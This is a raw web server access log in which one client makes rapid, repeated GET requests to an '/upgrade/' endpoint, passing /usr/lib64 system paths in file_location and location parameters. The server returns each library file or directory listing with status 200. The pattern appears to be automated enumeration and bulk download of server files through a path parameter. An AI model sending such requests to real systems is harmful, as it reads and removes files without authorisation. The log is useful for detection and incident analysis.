45.135.193.11 - - [11/Sep/2026:22:55:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSPIRV-Tools.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 698184 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSPIRV-Tools.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfwupd.so.3.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 290305 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfwupd.so.3.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicutu.so.67.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 193831 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicutu.so.67.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamdb.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153242 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamdb.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwbclient.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 135478 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwbclient.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dri3.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109236 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dri3.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-shm.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108286 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-shm.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xfixes.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 112943 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xfixes.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fcrtn.o&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 104185 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fcrtn.o&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfdisk.so.1.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 254992 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfdisk.so.1.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgsf-1.so.114&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 228913 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgsf-1.so.114&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkadm5clnt_mit.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 139984 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkadm5clnt_mit.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrpmio.so.9.1.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 202319 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrpmio.so.9.1.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-sync.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 112776 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-sync.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Frcrt1.o&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 104642 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Frcrt1.o&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGLX.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 145402 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGLX.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdl.a&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103844 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdl.a&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgettextlib-0.21.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 213318 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgettextlib-0.21.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibverto-libev.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108524 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibverto-libev.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncursesw.so.6.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 223640 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncursesw.so.6.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnewt.so.0.52.21&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 149096 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnewt.so.0.52.21&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-16.so.0.11.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 342716 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-16.so.0.11.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tctildr.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113193 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tctildr.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpmux.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 124567 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpmux.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_util.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116156 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_util.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibBrokenLocale.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106686 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibBrokenLocale.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXt.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 299867 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXt.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmpfr.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 435646 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmpfr.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndr-krb5pac.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 161579 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndr-krb5pac.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpanelw.so.6.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109076 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpanelw.so.6.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasprintf.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107540 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasprintf.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgirepository-1.0.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 160670 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgirepository-1.0.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:07 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Faspell-0.60 HTTP/1.1" 200 15786 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Faspell-0.60" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:08 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Flksctp-tools HTTP/1.1" 200 6173 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Flksctp-tools" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcursesw.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103175 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcursesw.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpaper.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110229 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpaper.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpaper.so.1.1.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110311 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpaper.so.1.1.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-randr.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 123066 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-randr.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xinerama.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108175 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xinerama.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibRemarks.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 105665 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibRemarks.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrypt.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 182389 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrypt.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstgl-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 338379 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstgl-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-icu.so.0.20704.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108596 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-icu.so.0.20704.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-subset.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 355517 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-subset.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtotem-plparser-mini.so.18&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110561 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtotem-plparser-mini.so.18&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibudisks2.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 341987 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibudisks2.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 144641 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmenu.so.6.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119276 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmenu.so.6.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmariadbd.so.19&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 7504756 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmariadbd.so.19&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpng16.so.16&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 216147 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpng16.so.16&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpython3.9.so.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1838443 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpython3.9.so.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibzip.so.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 160365 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibzip.so.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:16 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Flibuser HTTP/1.1" 200 6214 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Flibuser" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdcerpc-server-core.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 139155 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdcerpc-server-core.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtasn1.so.6.6.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 143135 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtasn1.so.6.6.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 510237 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasm.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118256 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasm.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgobject-2.0.so.0.6800.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 261252 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgobject-2.0.so.0.6800.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstcheck-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 164923 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstcheck-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
